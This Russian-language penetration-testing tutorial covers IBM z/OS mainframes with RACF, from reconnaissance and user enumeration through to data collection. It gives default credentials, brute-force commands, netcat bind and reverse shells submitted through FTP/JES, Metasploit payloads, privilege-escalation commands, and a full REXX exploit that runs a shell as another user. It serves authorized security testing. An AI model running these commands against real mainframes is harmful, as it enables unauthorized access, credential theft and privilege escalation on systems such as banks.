Информационные технологии развиваются довольно быстро, возникают принципиально новые направления, такие как DevOps и DevSecOps, и мы стараемся поспевать за ними. Однако во время работы над конкретными проектами можно встретиться с системами, построенными по довольно старым принципам, и с ними необходимо быть аккуратными, поскольку одна ошибка может привести к потере данных и нарушению работоспособности. В какой-то мере это верно и для современных систем, однако для систем с богатой историей риски значительно выше.
Примером старой архитектуры могут служить мейнфреймы. В основе этих программно-аппаратных решений лежат принципы, разработанные в 1960-x годах. При этом мейнфреймы используются до сих пор, например для одновременной обработки большого количества транзакций, проведения сложных вычислительных операций и т. д. Чаще всего их можно встретить на фондовых биржах, в банках, аэропортах и других организациях, которые обрабатывают множество транзакций. Несмотря на устаревший принцип построения, операционные системы современных мейнфреймов поддерживают некоторые компоненты Linux, необходимые для запуска отдельных утилит и веб-серверов.
В силу высокой стоимости и узконаправленности мейнфреймов, эти устройства редко встречаются в проектах по тестированию на проникновение. Как следствие, сообщество разбирающихся в них специалистов довольно мало. Когда пентестер впервые в рамках проекта сталкивается с мейнфреймом, ему приходится искать много информации про этот тип устройств: принципы построения его операционной системы, особенности сервисов, возможные способы компрометации. При этом важно разобраться, к каким последствиям могут привести воздействия на мейнфрейм, чтобы исключить из плана тестирования те из них, которые могут нарушить его работоспособность. Существует довольно много статей, описывающих особенности эксплуатации отдельных компонентов, но собрать всю информацию воедино тоже непростая задача. Также можно найти руководства по поиску ошибок конфигурации внутри самого мейнфрейма (Пример 1, Пример 2, Пример 3), однако они требуют понимания его внутреннего устройства.
В этой статье мы расскажем о подходе к тестированию на проникновение мейнфреймов IBM на базе операционной системы z/OS и пакета безопасности Resource Access Control Facility (RACF), разберем технические особенности таких мейнфреймов и продемонстрируем, как поведение привычных сервисов в контексте мейнфрейма может привести к его компрометации. Таким образом, статья представляет собой путь, которым нужно пройти тестировщику на проникновение, чтобы получить доступ к мейнфрейму, повысить привилегии текущего пользователя, найти возможные векторы для перемещения на другие мейнфреймы или системы в локальной сети и вывести данные, не вызвав необратимых последствий. Для наглядности мы подготовили интерактивную схему этого пути с указанием различных команд, ссылок и комментариев. Ниже представлен скриншот этой схемы.
Обзор z/OS
Функциональная структура z/OS состоит из трех базовых модулей:
- Системные сервисы;
- Сервисы администрирования и управления системой;
- UNIX System Services (USS).
Эти три модуля служат основой для функционирования других модулей, которые поддерживают работу современных информационных систем. К примеру, благодаря USS, z/OS совместима с веб-серверами WebSphere, базами данных DB2 и т. д.
К системным сервисам относятся компоненты:
- Job Entry System (JES) — система для приема и обработки задач
- Base Control Program — ядро системных сервисов, которое контролирует взаимодействие между другими компонентами z/OS, такими как JES, TSO и т. д.
- Data Facility Storage Management System — система для работы с наборами данных (датасетами), которая обеспечивает их хранение и обработку
- Time Sharing Options (TSO) — система для взаимодействия с пользователем, которая выступает в роли пользовательского интерфейса и принимает команды для управления z/OS
Это основные подсистемы, работу с которыми мы затронем в текущей статье. Конечно, существуют более подробные описания системных компонентов, однако для их должного понимания необходимо глубже погружаться в изучение z/OS.
Разведка
Сетевая разведка
Начнем с фазы разведки, или того, как понять, что перед вами мейнфрейм. Первым признаком может быть совокупность TCP-портов, которую вы получили в результате сетевого сканирования хоста.
Порт | Сервис |
21/tcp | FTP |
22/tcp | SSH |
23/tcp | TN3270 over Telnet |
24/tcp | Telnet |
175/tcp | Network Job Entry |
515/tcp | Printserver |
900/tcp | FTP |
1023/tcp | Telnet |
1414/tcp | IBM MQ Server |
1415/tcp | IBM MQ Re-translator |
1920/tcp | IBM Tivoli Monitoring Service Index |
2252/tcp | Network Job Entry over SSL |
2809/tcp | CORBA |
4020/tcp | NetView |
4022/tcp | NetView |
8803/tcp | RMF Data Portal |
10007/tcp | Workload Manager |
В таблице приведены примеры TCP-портов, характерных для мейнфрейма. Особое внимание хотим обратить на необычное расположение сервисов FTP (порт 900/tcp) и Telnet (порт 1023/tcp). Такое расположение чаще всего встречается на мейнфреймах.
Также признаком мейнфрейма могут быть баннеры текущих сервисов, которые отображаются при попытке подключения. Если они содержат ключевые слова z/OS, mainframe, IBM и т. д., вероятнее всего, сервисы работают на мейнфрейме.
Получение списка пользователей
К фазе разведки также относится и получение списка пользователей. Отличительной особенностью всем известного сервиса Telnet в контексте мейнфрейма является то, что в ответ на попытку идентификации он сообщает, имеет ли пользователь право на подключение. Эта особенность позволяет получить список разрешенных пользователей без вреда для мейнфрейма. Ниже приведен пример попытки подключения двух пользователей: NOTEXIS получает в ответ ошибку, тогда как у IBMUSER сервис запрашивает пароль.
Эта особенность хорошо известна, и существуют инструменты для автоматизации процесса, такие как patator или nmap-скрипты:
1 |
patator telnet_login host=<ip> port=23 |
Автоматизация составления списка существующих пользователей с помощью patator
1 |
nmap -p 23 <ip> --script tso-enum --script-args userdb=tso_users_full.txt -vv |
Автоматизация составления списка существующих пользователей с помощью nmap
Список существующих пользователей нужен атакующему для получения первоначального доступа. Часто знание уникального имени пользователя — достаточное условие для входа в систему. Подробнее об этом в следующей фазе.
Первоначальный доступ
Нередко для аутентификации на мейнфреймах используются пароли, совпадающие с именем пользователя. Таким образом, если на предыдущем этапе удалось найти уникальные имена пользователя, их может быть достаточно для подключения к мейнфрейму и управления им. Также для стандартных пользователей могут быть установлены пароли по умолчанию, к примеру:
- IBMUSER:SYS1
- SYSADM:SYSADM
- WEBADM:WEBADM
Больше примеров паролей по умолчанию для пользователей z/OS можно найти на GitHub.
Причиной использования таких ненадежных паролей является слабая парольная политика по умолчанию. Она может быть усилена при помощи расширения ICHPWX11, однако по умолчанию оно не установлено.
Операционная система z/OS использует в качестве пакета безопасности решение Resource Access Control Facility (RACF). Хотя z/OS поддерживает работу и с другими пакетами безопасности, в частности ACF2 и Top Secret, это стороннее ПО, которое нужно устанавливать отдельно. В RACF существуют два метода аутентификации на базе пароля: PASSWORD и PASSPHRASE. Кроме того, z/OS позволяет использовать оба одновременно, потому что некоторые приложения или сервисы могут аутентифицировать пользователя только методом PASSWORD.
Тип | Длина | Доступные символы |
PASSWORD | 1–8 | Латинские буквы в верхнем регистре + цифры + спецсимволы (@#$)1 |
PASSPHRASE | 14(9)2–100 | Латинские буквы в верхнем и нижнем регистрах + цифры + спецсимволы (@#$&* {}[]» ()=,.;’+/) |
1 Используется по умолчанию; можно дополнить латинскими буквами в нижнем регистре и дополнительным набором спецсимволов.
2 Минимальная длина парольной фразы зависит от того, установлено ли расширение ICHPWX11.
Таблица выше показывает, что метод аутентификации PASSWORD по умолчанию поддерживает пароли длиной не больше восьми символов, которые могут содержать цифры, латинские буквы в верхнем регистре и три специальных символа. Хотя можно ужесточить парольную политику при помощи расширений (installation exits в терминологии IBM), такие слабые вводные побуждают системных администраторов использовать простые пароли.
Подбор пароля
Раз можно аутентифицироваться в сервисах мейнфрейма через PASSWORD (или PASSPHRASE), то его могут атаковать методом перебора паролей, соответственно, имеет смысл проверить этот вектор. Для этого можно использовать уже упомянутые ранее patator или nmap-скрипты. Ниже показаны команды для подбора PASSWORD к сервису Telnet при помощи этих инструментов.
1 |
patator telnet_login host=<ip> port=23 |
1 |
nmap -p 23 <ip> --script tso-brute -vv |
Что касается перебора парольных фраз (PASSPHRASE), то мы определили, что подобрать правильную пару ЛОГИН-ПАРОЛЬ для пользователя с этой настройкой можно только через сервис IBM HTTP Server. Для этого можно использовать любой известный инструмент для перебора паролей, который поддерживает метод HTTP Basic Authentication, к примеру hydra:
1 |
hydra -l username -P passwords.txt -s 80 -f <ip> http-get / |
Стоит отметить, что перебор паролей потенциально может привести к блокировке и, соответственно, нарушению работоспособности мейнфрейма, поэтому, перед тем как проводить атаку этим методом, следует убедиться, что политика блокировки пользователей позволяет это сделать.
Исполнение
Вне зависимости от того, была ли получена корректная связка логина с паролем на предыдущем этапе, существует несколько способов выполнить команды на мейнфрейме.
Злоупотребление Job Entry System
Job Entry System (JES) — это компонент, который обрабатывает пакетные задания (batch job). Он принимает и регистрирует задания от различных источников, анализирует их, добавляет в очередь, передает на исполнение и выводит результаты. Принципиальная схема работы JES представлена на рисунке.
Исполнение команд через Job Entry System и FTP-сервер
Интересно, что одним из источников пакетных заданий является FTP-сервер. Таким образом, имея валидные учетные данные пользователя мейнфрейма, можно подключиться к FTP-серверу и отправить файл пакетного задания, чтобы оно исполнилось на мейнфрейме. В частности, можно в пакетном задании разместить инструкции для получения bind- или reverse-шелла. Такой сценарий реализуется посредством следующих шагов:
- Подключиться к FTP-серверу с валидными учетными данными
- Загрузить на FTP-сервер скомпилированную под z/OS утилиту, к примеру netcat
- Переключить режим текущей FTP-сессии в JES командой SITE=JES. В этом режиме мейнфрейм будет воспринимать любой файл, загруженный на FTP-сервер, как пакетное задание, адресованное JES
- Загрузить на FTP-сервер пакетное задание в формате JCL, которое запустит загруженную ранее утилиту netcat с определенными параметрами для получения bind- или reverse-шелла
- Принять запрос на подключение от reverse-шелла или подключиться к bind-шеллу
Пример версии netcat, скомпилированной для z/os v1.10, доступен в репозитории https://github.com/mainframed/NC110-OMVS/blob/master/binary/nc. Поскольку на мейнфрейме используется кодировка символов EBCDIC, необходимо производить трансляцию символов ASCII в EBCDIC, чтобы утилита понимала ваши команды. Для этого был придуман Python-скрипт netebcdicat, с помощью которого можно принимать запрос на подключение от reverse-шелла или подключаться к bind-шеллу.
Использование утилиты netcat — это частный пример злоупотребления JES для исполнения команд на мейнфрейме. Существуют и другие способы достижения этой цели. В частности, можно использовать следующие инструменты для автоматизации этого процесса:
- metasploit framework
- payload/cmd/mainframe/generic_jcl
- exploit/mainframe/ftp/ftp_jcl_creds
- payload/mainframe/shell_reverse_tcp
- https://github.com/mainframed/MainTP
- https://github.com/mainframed/TShOcker
Скрипт MainTP содержит исходный код для создания bind- и reverse-шелла на языке С, а также инструкции пакетного задания JCL. Последние указывают мейнфрейму скомпилировать, а затем запустить шелл. Как и netcat, MainTP помогает получить доступ к UNIX-компоненту мейнфрейма, называемому UNIX System Services. Как следствие, созданный bind- или reverse-шелл позволяет управлять компонентом z/OS UNIX Shell — аналогом SH- или BASH-интерпретатора. Эта форма взаимодействия с мейнфреймом более-менее понятна и знакома пентестеру, поскольку многие команды z/OS UNIX Shell очень похожи на BASH- или SH-команды широко известных UNIX-подобных систем Debian, Ubuntu, CentOS, FreeBSD и т. д.
Скрипт TShOcker загружает и запускает на мейнфрейме скрипт в формате REXX, который создает bind- или reverse-шелл, и передает управление над менеджером ресурсов Time Sharing Options (TSO) — это специфичный для z/OS интерпретатор команд, который позволяет управлять ресурсами мейнфрейма: получать доступ к данным, управлять пользователями, запускать программы и т. д. Более подробные примеры работы с TSO мы рассмотрим позже.
Network Job Entry
Network Job Entry (NJE) — это часть Job Entry System, которая позволяет нескольким мейнфреймам общаться друг с другом, посылая различные файлы, пакетные задания, системные команды и т. д.
NJE используется, если в организации есть несколько мейнфреймов, которые разделены территориально. В зависимости от конфигурации, злоупотребив NJE, вы можете совершать те или иные действия на мейнфрейме. Например, при конфигурации по умолчанию атакующий может выполнять команды от имени другого пользователя без пароля или специального токена. Однако для эксплуатации NJE необходимо обладать предварительной информацией, к примеру именами NJE-узлов — участников NJE-сети. Эта тема выходит за рамки текущей статьи и заслуживает отдельного внимания. Более детальную информацию об эксплуатации NJE можно прочитать в журнале PoC || GTFO. Также с этой целью можно ознакомиться с инструментом для тестирования на проникновение NJElib.
Взаимодействие с мейнфреймом через VTAM
Virtual Telecommunications Access Method (VTAM) — это подсистема, которая позволяет получать доступ к различным приложениям мейнфрейма по сети, в частности, через стек TCP/IP.
Для сетевого взаимодействия с приложениями мейнфрейма используется протокол TN3270, разработанный в 1970-х годах. В то время коммуникация с мейнфреймами осуществлялась через специальные устройства (терминалы).
На сегодняшний день протокол TN3270 может работать поверх протокола Telnet, и существует несколько утилит (эмуляторов терминалов), таких как x3270, которые позволяют управлять приложениями или менеджерами ресурсов мейнфрейма. Запустить x3270 можно при помощи следующих команд:
1 |
x3270 -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP> |
1 |
x3270 -charset <charset> -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP> |
После подключения к мейнфрейму по протоколу TN3270 через Telnet вы можете выбрать приложение или менеджер ресурсов для взаимодействия.
CICS
Customer Information Control System (CICS) отвечает за управление транзакциями и представляет собой некоторую прослойку, через которую внешние приложения, например ПО на компьютерах продавцов в магазине, взаимодействуют с ресурсами мейнфрейма. Приложение CICS может быть написано на различных языках программирования, которые поддерживает мейнфрейм: С/Java/COBOL. Доступ к CICS обеспечивает VTAM. Рассмотрение атак на это приложение заслуживает отдельной статьи, однако подробности об эксплуатации и инструменты вы можете найти по ссылкам:
Менеджеры ресурсов
Менеджеры ресурсов позволяют интерактивно управлять ресурсами мейнфрейма, контролировать доступ и настраивать компоненты мейнфрейма. Приведем в пример два основных менеджера ресурсов.
Time Sharing Options/Extensions
Time Sharing Options/Extensions, или просто Time Sharing Options (TSO), — это интерактивный пользовательский интерфейс в режиме командной строки, со своей системой команд, которая позволяет управлять ресурсами мейнфрейма: запускать программы и задания, манипулировать датасетами, управлять пользователями и т. д.
Interactive System Productivity Facility
Менеджер ресурсов Interactive System Productivity Facility (ISPF) больше похож на графический интерфейс управления ресурсами мейнфрейма, однако его функциональность очень схожа с TSO, и по сути они могут быть взаимозаменяемы.
Использование стандартных сервисов
Как вы могли видеть на предыдущий фазах, в мейнфреймах присутствуют не только специфичные для z/OS, но и более распространенные сервисы для управления серверами, такие как Telnet и SSH. Имея валидные учетные данные, можно подключиться к мейнфрейму при помощи стандартных клиентов для этих сервисов.
Как показано на картинке, после подключения к сервисам вы получаете доступ к USS и возможность выполнять команды z/OS UNIX Shell. Такой доступ более удобен и привычен пентестеру, чем управление мейнфреймом через TSO/ISPF или через JES и FTP. Он может использоваться в том числе для сбора информации, повышения привилегий, эксфильтрации данных и так далее. Также через z/OS UNIX Shell можно выполнять команды менеджера ресурсов TSO при помощи утилиты tsocmd.
Веб-приложения
Как мы уже отмечали ранее, мейнфреймы поддерживают работу современных технологий, в том числе веб-серверов IBM HTTP Server или WebSphere, что дает возможность запускать различные веб-приложения. А раз есть веб-приложения, то в них могут быть уязвимости.
В частности, вы можете столкнуться с версией IBM HTTP Server, уязвимой к CVE-2012-5955, позволяющей удаленному атакующему выполнять произвольные команды. Пример эксплуатации этой уязвимости доступен по ссылке https://github.com/mainframed/logica/blob/master/utcam.sh.
Также вы можете встретиться с самописными веб-приложениями заказчика, в которых могут быть различные уязвимости, приводящие к удаленному исполнению кода, к примеру, через небезопасную загрузку файлов или инъекции команд.
Так как основные веб-серверы работают в контексте USS, при эксплуатации уязвимостей в веб-сервере или веб-приложении можно также получить доступ к USS.
Повышение привилегий
Обзор
Прежде чем начать рассмотрение методов повышения привилегий в мейнфрейме, рассмотрим принципиальную схему контроля доступа на устройстве.
Когда пользователь пытается получить доступ к ресурсу мейнфрейма, компонент System Authorization Facility (SAF) делает запрос к пакету безопасности. z/OS поддерживает работу с различными пакетами безопасности (ACF2, Top Secret, RACF). В этой статье мы сосредоточимся на стандартном пакете безопасности IBM — Resource Access Control Facility (RACF). RACF состоит из сервиса и базы данных, которая содержит информацию о пользователях, группах, ресурсах, датасетах и т. д., а также о правах доступа к ресурсам и привилегиях. Сервис RACF общается с SAF и принимает решение о том, имеет ли пользователь определенные привилегии или права доступа.
Когда пользователь успешно аутентифицируется, его профиль загружается в оперативную память сервиса RACF. В профиле содержится блок Accessor Environment Element (ACEE), в котором указана информация о правах и привилегиях пользователя. Все последующие решения о правах доступа основываются на этих данных. Один из самых популярных методов повышения привилегий состоит в том, чтобы найти способ изменить содержимое ACEE в пользовательском профиле в оперативной памяти сервиса RACF. Однако это не единственный способ.
Ошибки конфигурации, связанные с контролем доступа к датасетам
Authorized Program Facility
Датасет в контексте мейнфрейма — это аналог файла, который состоит из записей и может содержать в себе текстовую информацию, скрипт, программу, библиотеку, данные для приложения и т. д. Существует несколько типов датасетов, каждый из которых обладает своей структурой. Информация о датасете (атрибуты, права доступа, настройки аудита и т. д.) также содержится в базе данных RACF. Ошибки конфигурации, затрагивающие права доступа к датасету, могут привести к повышению привилегий.
Рассмотрим интересную особенность z/OS — Authorized Program Facility (APF). Это механизм безопасности, отвечающий за выдачу программам прав на совершение привилегированных операций, например получение доступа к произвольной зоне оперативной памяти. Программы, у которых есть такой доступ, называются APF-авторизованными (APF authorized). Они могут в процессе выполнения переключаться в специальный режим «супервизора», в котором и выполняют привилегированные операции. Таким образом, если вы обнаружили права доступа на запись в какой-либо APF-авторизованной программе или библиотеке, то вы можете добавить в нее код, который найдет в оперативной памяти сервиса RACF профиль текущего пользователя и изменит его ACEE так, чтобы его привилегии стали выше.
Получение списка программ и библиотек APF-authorized
Искать APF-авторизованные программы и библиотеки можно несколькими способами:
- Команда в TSO
1 2 |
CONSOLE d prog, apf |
После вывода списка APF-авторизованных программ и библиотек можно ввести в TSO команду для определения права доступа:
1 |
listdsd dataset('<dataset>') gen |
- Скрипты
1 2 |
https://github.com/ayoul3/Privesc/blob/master/ELV.APF https://github.com/mainframed/Enumeration/blob/master/APFCHECK |
1 |
ex 'ELV.APF' 'LIST' |
Эксплуатация
Существует несколько эксплойтов, которые позволяют злоупотребить избыточным доступом к APF-авторизованной программе или библиотеке.
- Metasploit
1 |
payload/cmd/mainframe/apf_privesc_jcl |
- Скрипты
1 |
https://github.com/ayoul3/Privesc/blob/master/ELV.APF |
Скрипт ELV.APF производит поиск пользовательского профиля в оперативной памяти и присваивает ему атрибут SPECIAL, что дает пользователю наивысшие привилегии в системе в рамках текущей сессии. Стоит обратить внимание, что для закрепления привилегий скрипт запускает команду TSO, которая добавляет пользователю атрибуты SPECIAL и OPERATIONS в базе данных RACF. В результате при пересоздании сессии привилегии пользователя сохранятся.
1 |
ALU "||userid()||" SPECIAL OPERATIONS |
Если вы не хотите вносить изменения в базу данных RACF, то можете действовать от лица более привилегированного пользователя, который уже вошел в систему и чей профиль присутствует в оперативной памяти. Для этого подходит другой скрипт в том же репозитории:
1 |
https://github.com/ayoul3/Privesc/blob/master/ELV.SELF |
Для получения списка вошедших в систему пользователей используется команда TSO:
1 |
ex 'ELV.SELF' |
А для совершения действий от лица пользователя выполняется следующая команда:
1 |
ex 'ELV.SELF' 'TARGET=<USERID> APF=<APFPATH> |
WARNING mode
У датасетов есть атрибут, который определяет, находится ли датасет в режиме WARNING. В этом режиме к датасету разрешен любой доступ, вне зависимости от того, какие права доступа прописаны в базе данных RACF. Если кто-то пытается нарушить установленные в RACF ограничения доступа, то возникает предупреждающее сообщение, однако доступ разрешается. Таким образом, если датасет хранит чувствительную информацию, как, например, база данных RACF, APF-авторизованная библиотека или определенный ресурс в ресурсном классе, любой пользователь сможет внести изменения или эксфильтровать датасет, что приведет к повышению привилегий или утечке данных.
Получение списка датасетов и ресурсов в режиме WARNING
Пример команд TSO для определения датасетов и ресурсов в режиме WARNING:
1 |
sr class(<CLASSNAME>) warning |
1 |
SR ALL WARNING NOMASK |
Ошибки конфигурации, связанные с контролем доступа к классам ресурсов
Обзор
Классы ресурсов в мейнфрейме определяют класс привилегий, которыми могут обладать пользователи или группы. К примеру, класс ресурсов OPERCMDS определяет, какие операторские команды можно выполнять, UNIXPRIV определяет привилегии в USS, DASDVOL определяет привилегии для доступа к томам DASD и т. д. Интересно, что некоторые привилегии могут быть взаимозаменяемыми. Принципиальная схема классов ресурсов и прав доступа к определенным ресурсам представлена ниже.
Каждый класс ресурсов состоит из отдельных ресурсов, которые отвечают за определенную привилегию. К примеру, ресурс BPX.FILEATTR.APF в классе ресурсов FACILITY позволяет присваивать расширенный атрибут файлам в USS командой extattr +a. Файл с этим атрибутом становится APF-авторизованной программой или библиотекой.
Права доступа к ресурсу для пользователя определяет поле Access Authority. Оно может принимать одно из шести значений (приводятся в порядке возрастания уровня доступа): NONE, EXECUTE, READ, UPDATE, CONTROL, ALTER. При этом логика присвоения привилегий пользователям в z/OS неочевидна и отличается от более распространенных систем: чаще всего, чтобы пользователь обладал привилегией, за которую отвечает ресурс, ему достаточно иметь минимальный уровень доступа к этому ресурсу, такой как READ. Интуитивно может показаться, что уровень доступа READ позволяет пользователю только получать список пользователей, которые обладают доступом к ресурсу, но на практике это не так. Ниже приведем хорошо известные классы ресурсов и конкретные ресурсы, ошибки в конфигурации которых могут привести к повышению привилегий.
Класс ресурсов TSOAUTH
Класс ресурсов TSOAUTH используется для защиты ресурсов TSO, в частности определяет, какие команды пользователь может вводить в TSO.
TESTAUTH
Ресурс TESTAUTH в классе TSOAUTH определяет, может ли пользователь вводить команду TESTAUTH. Эта команда запускает программу как APF-авторизованную. Если у пользователя есть доступ к этому ресурсу с правами READ или выше, он может повысить текущие привилегии через неправильную конфигурацию APF-авторизованных программ и библиотек.
Получение информации о доступе к TESTAUTH
Для проверки того, имеет ли текущий пользователь привилегии для исполнения команды TESTAUTH, можно ввести следующую команду в TSO:
1 |
RLIST TSOAUTH TESTAUTH AUTH |
Эксплуатация
Пример запуска программы в TSO как APF-авторизованной через TESTAUTH:
1 |
TESTAUTH 'SYS1.LINKLIB(<SOMELIB>)' |
Также можно ознакомиться с примерами эксплуатации ресурса TESTAUTH по ссылке: https://github.com/zBit31/testauth.
Класс ресурсов OPERCMDS
Класс ресурсов OPERCMDS определяет доступ к командам управления различными подсистемами в z/OS: Multiple Virtual Storage (MVS), JES2, JES3, RACF и т. д. Другими словами, он определяет набор команд, которыми пользователь может управлять z/OS, выводить информацию о статусе и т. д.
MVS.SETPROG.**
Значение Access Authority может быть назначено не только для отдельного ресурса, но и для группы ресурсов. В этом случае вместо части названия ресурса используются символы **. Так, MVS.SETPROG.** — это группа ресурсов, доступ UPDATE к которой позволяет делать любой датасет APF-авторизованным.
Получение информации о доступе к MVS.SETPROG.**
Для проверки того, имеет ли текущий пользователь привилегии для исполнения команды SETPROG, входящие в группу ресурсов MVS.SETPROG.**, можно ввести следующую команду в TSO:
1 2 |
RLIST OPERCMDS MVS.SETPROG.** AUTH RLIST OPERCMDS MVS.SET.PROG.** AUTH |
Эксплуатация
Пример назначения датасета APF-авторизованным:
1 |
SETPROG APF,ADD,DSNAME=<SOMEDATASET>,SMS |
Класс ресурсов FACILITY
Класс ресурсов FACILITY определяет привилегии пользователей при совершении определенных операций. Он помогает избежать избыточного присвоения пользователю атрибута SPECIAL, который дает неограниченные права, и разделяет высокие привилегии на отдельные ресурсы. Таким образом, можно присваивать пользователям только необходимые привилегии.
IRR.PASSWORD.RESET
Ресурс IRR.PASSWORD.RESET позволяет сбросить пароли и парольные фразы пользователям без специальных атрибутов (SPECIAL, OPERATIONS, AUDITOR, ROAUDIT). Достаточное для эксплуатации значение Access Authority — READ.
Получение информации о доступе к IRR.PASSWORD.RESET
Выяснить, имеет ли текущий пользователь достаточный доступ к ресурсу IRR.PASSSWORD.RESET, можно при помощи следующей команды:
1 |
RLIST FACILITY IRR.PASSWORD.RESET AUTH |
Эксплуатация
Следующая команда выполняет сброс паролей и парольных фраз для пользователей без специальных атрибутов:
1 |
ALU <USERID> PASS(<PASSWORD>) RESUME |
BPX.SUPERUSER
Владение ресурсом BPX.SUPERUSER делает пользователя суперпользователем в подсистеме UNIX. Это означает, что он может переключаться в режим суперпользователя командой ‘ su’ в z/OS UNIX Shell. Для этого достаточно иметь Access Authority READ.
Получение информации о доступе к ресурсу BPX.SUPERUSER
Следующая команда поможет узнать, имеет ли текущий пользователь доступ к ресурсу BPX/SUPERUSER:
1 |
RLIST FACILITY BPX.SUPERUSER AUTH |
Эксплуатация
Для эксплуатации необходимо перейти в z/OS UNIX Shell из TSO при помощи команды OMVS и далее ввести su root.
1 2 |
OMVS su root |
BPX.FILEATTR.APF
Ресурс BPX.FILEATTR.APF позволяет присваивать файлу в z/OS UNIX Shell атрибут, который делает его APF-авторизованным. Необходимый уровень Access Authority для эксплуатации этого ресурса — READ.
Получение информации о доступе к BPX.FILEATTR.APF
Чтобы узнать, имеет ли текущий пользователь необходимый уровень доступа к ресурсу BPX.FILEATTR.APF, нужно выполнить следующую команду:
1 |
RLIST FACILITY BPX.FILEATTR.APF AUTH |
Эксплуатация
Для эксплуатации этого ресурса нужно перейти в z/OS UNIX Shell при помощи команды OMVS, а затем выполнить команду extattr +a.
1 |
OMVS |
1 |
extattr +a ./somefile |
Класс ресурсов SURROGAT
Класс ресурсов SURROGAT отвечает за выполнение действий от лица других пользователей в различных подсистемах z/OS. В частности, он определяет возможность запуска задачи в JES или выполнения команды в z/OS UNIX Shell от имени другого пользователя без пароля. Для получения более детальной информации об этом классе ресурсов можно посмотреть выступление специалиста по информационной безопасности Джейка Лабелла (Jake Labelle) на DEF CON Safe talks:
<USERID>.SUBMIT
Ресурс с такой маской позволяет отправлять задания на исполнение в JES от имени пользователя <USERID> при помощи команды TSO SUBMIT. Подробности тут.
Получение информации о пользователях, от имени которых можно отправлять задачи при помощи <USERID>.SUBMIT
Для получения данных о доступности конкретного пользователя используется команда ниже, где вместо <USERID> необходимо подставить логин интересующего пользователя.
1 |
RLIST SURROGAT <USERID>.SUBMIT AUTHUSER |
Для получения списка всех доступных пользователей можно воспользоваться следующей командой:
1 |
SEARCH CLASS(SURROGAT) FILTER(*.SUBMIT) |
Эксплуатация
Чтобы воспользоваться возможностями ресурса, нужно сформировать задачу и отправить ее на исполнение в JES. В задаче могут содержаться различные операции. К примеру, можно использовать скрипт CATSO.REXX, который мы упоминали при описании фазы исполнения. Этот скрипт используется для создания bind- или reverse-шелла, который позволит управлять TSO от имени другого пользователя. Для удобства привожу REXX-скрипт (SURROGAT_EXPLOIT.REXX), который принимает входным аргументом <USERID> и запускает от его имени CATSO.REXX с определенными параметрами для открытия bind-шелла.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/* REXX */ PARSE ARG id QUEUE "//SURR01 JOB (9),'SURR01',CLASS=A,USER="id"," QUEUE "// MSGCLASS=H,MSGLEVEL=(1,1)" QUEUE "//SURR012 EXEC PGM=IKJEFT01" QUEUE "//SYSTSPRT DD SYSOUT=*" QUEUE "//SYSTSIN DD *" QUEUE "EXEC 'TESTUSER.CATSO.REXX' 'L 8855'" QUEUE "//*" QUEUE "$$" o = OUTTRAP('output.') "SUBMIT * END($$)" o = OUTTRAP(OFF) |
В скрипте при эксплуатации нужно поменять следующие строки:
- TESTUSER.CATSO.REXX — место, где лежит CATSO.REXX
- SURR01 — название пакетного задания (не больше 8 символов)
- SURR012 — название шага при исполнении (не больше 8 символов)
- L 8855 — параметры для CATSO.REXX, которые запускают скрипт в режиме прослушивания на порту 8855/TCP
Пример выполнения действий от имени пользователя IBMUSER:
1 |
EX 'SURROGAT_EXPLOIT.REXX' 'IBMUSER' |
BPX.SRV.<USERID>
Ресурс с такой маской позволяет действовать от имени другого пользователя в z/OS UNIX Shell.
Получение информации о пользователях, от имени которых можно действовать при помощи BPX.SRV.<USERID>
Для получения данных о доступности конкретного пользователя используется команда ниже, где вместо <USERID> необходимо подставить логин конкретного пользователя.
1 |
RLIST SURROGAT BPX.SRV.<USERID> AUTHUSER |
Для получения списка всех доступных пользователей можно воспользоваться следующей командой:
1 |
SEARCH CLASS(SURROGAT) FILTER(BPX.SRV.*) |
Эксплуатация
Для эксплуатации необходимо перейти в z/OS UNIX Shell из TSO при помощи команды OMVS, а затем ввести ‘ su -s <USERID>’, где вместо <USERID> необходимо подставить логин конкретного пользователя.
1 2 |
OMVS su -s <USERID> |
Выше приведена лишь небольшая часть существующих ресурсных классов и ресурсов. Вы можете столкнуться с другим набором доступных привилегий. В таком случае изучение документации о привилегиях поможет понять, как ими можно злоупотребить, чтобы получить доступ к чувствительной информации или повысить текущие привилегии.
Повышение привилегий в UNIX System Services
В контексте нарушения конфигурации, затрагивающего контроль доступа к классам ресурсов, стоит рассмотреть методы работы с z/OS UNIX Shell. Как мы уже упоминали ранее, для запуска z/OS UNIX Shell используется команда TSO OMVS.
Помимо методов, упомянутых выше, существует SH-скрипт OMVSEnum.sh, который ищет в подсистеме UNIX интересные файлы и утилиты, к которым у текущего пользователя есть какой-либо доступ, позволяющий повысить привилегии или извлечь чувствительные данные.
Также интересно, что при присвоении файлу атрибута, который делает его APF-авторизованным, при помощи команды extattr +a ./somefile, его можно исполнить не только в z/OS UNIX Shell, но и найти в TSO как датасет. Файлы в USS — это датасеты специального типа, к примеру HFS (Hierarchical file system) или z/FS (z/OS file system). Схема того, как в z/OS хранятся файлы и директории для USS представлена ниже.
Таким образом, вы можете обратиться к файлу как через z/OS UNIX Shell, так и через TSO.
CVE-2012-5951
Довольно давно в сервисе NetView была найдена уязвимость CVE-2012-5951, которая позволяла повысить привилегии в USS.
Определение возможности эксплуатации
Чтобы определить, присутствует ли в системе уязвимость, необходимо найти путь до утилиты cnmeunix, которая располагается по маске /usr/lpp/netview/vXrX/bin/cnmeunix. Если значение vXrX >= 5.1, но <=5.4 или 6.1, то сервис NetView уязвим к CVE-2012-5951.
Эксплуатация
Для повышения привилегий через эксплуатацию CVE-2012-5951 существует скрипт kuku.
Сбор информации
Фаза сбора информации наиболее актуальна, если доступ к мейнфрейму не является конечной целью тестирования на проникновения. z/OS поддерживает интеграцию с другими операционными системами, в частности, через LDAP или Kerberos, и учетные данные для таких интеграций находятся в файлах USS. Также вы можете иметь доступ к файлам, содержащим логины и пароли привилегированных пользователей, к примеру конфигурационные файлы WebSphere. Эти данные удобнее всего также получать из USS.
Ниже приведена таблица с местонахождением потенциально интересных файлов.
Файлы/директории | Описание |
/service/UserLog/ | Директория с файлами историй BASH/SH-команд, которые выполняли пользователи |
/u/ | Директория с пользовательскими папками |
/etc/skrb/ | Конфигурационные файлы для Kerberos |
/etc/ldap/ | Конфигурационные файлы для LDAP |
/etc/httpd.conf | Конфигурационные файлы IBM HTTP Server |
/etc/dfs | Конфигурационные файлы DFS |
